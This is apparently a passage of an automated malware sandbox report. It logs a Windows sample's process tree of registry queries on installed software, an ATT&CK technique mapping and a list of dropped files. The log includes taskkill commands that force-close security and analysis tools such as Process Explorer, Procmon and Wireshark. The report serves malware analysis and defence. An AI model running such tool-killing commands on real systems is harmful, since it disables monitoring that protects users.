                                                                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:2784
                                                                                                                                                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:4812
                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4916
                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:5004
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                        cmd.exe
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:856
                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4148
                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:4804
                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                              cmd.exe
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:4888
                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:64
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:584
                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:32
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:2120
                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:5116
                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:64
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4196
                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:32
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:4192
                                                                                                                                                                                                                                        • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                          PID:1156
                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:988
                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:64
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:2668
                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:32
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:1236
                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1392
                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:64
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:3788
                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:32
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4332
                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:4520
                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:4640
                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:4504
                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                            cmd.exe
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:4436
                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:4532
                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:4788
                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:4728
                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:4676
                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:4848
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                        cmd.exe
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:4980
                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:4140
                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:584
                                                                                                                                                                                                                                                                            • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                              PID:4768
                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                              cmd.exe
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:3880
                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:4024
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:2608
                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:1000
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:4992
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1236
                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:4480
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:4588
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:4640
                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:4504
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:1076
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:68
                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:4924
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:3792
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:5008
                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                            cmd.exe
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1148
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:4768
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:5052
                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:1720
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:2668
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:4380
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                        cmd.exe
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:4512
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:64
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:4700
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:32
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:4884
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                              cmd.exe
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:4144
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:64
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:1476
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:32
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:1596
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:4800
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:1964
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:1236
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                          PID:4496
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:584
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:2120
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:2176
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4744
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:3860
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:5136
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:5172
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:5236
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:5300
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:5364
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:5424
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:5484

                                                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                                                                                                                                                                  Persistence

                                                                                                                                                                                                                                                                                                                                                  Modify Existing Service

                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                  T1031

                                                                                                                                                                                                                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                  T1060

                                                                                                                                                                                                                                                                                                                                                  Hidden Files and Directories

                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                  T1158

                                                                                                                                                                                                                                                                                                                                                  Defense Evasion

                                                                                                                                                                                                                                                                                                                                                  Modify Registry

                                                                                                                                                                                                                                                                                                                                                  3
                                                                                                                                                                                                                                                                                                                                                  T1112

                                                                                                                                                                                                                                                                                                                                                  Disabling Security Tools

                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                  T1089

                                                                                                                                                                                                                                                                                                                                                  Hidden Files and Directories

                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                  T1158

                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\.ntusernt.ini
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\tHFwB\Desktop.ini
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\tHFwB\YIYZS.class
                                                                                                                                                                                                                                                                                                                                                  • \Users\Admin\AppData\Local\Temp\TFroSeoInu2361994479675576130.xml
                                                                                                                                                                                                                                                                                                                                                  • memory/68-233-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/404-85-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/584-253-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/584-221-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/584-193-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/612-157-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/772-125-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/812-64-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/852-63-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/856-189-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/988-201-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1000-225-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1008-120-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1076-94-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1076-232-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1080-80-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1128-65-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1144-152-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1148-237-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1148-164-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1156-198-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1156-82-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1236-252-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1236-203-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1236-126-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1236-227-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1244-115-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1256-75-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1268-166-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1276-91-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1316-147-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1316-90-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1360-130-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1392-204-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1412-79-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1432-162-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1432-72-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1476-247-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1588-77-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1596-248-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1608-169-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1652-51-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1720-240-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1744-76-0x0000000000000000-mapping.dmp
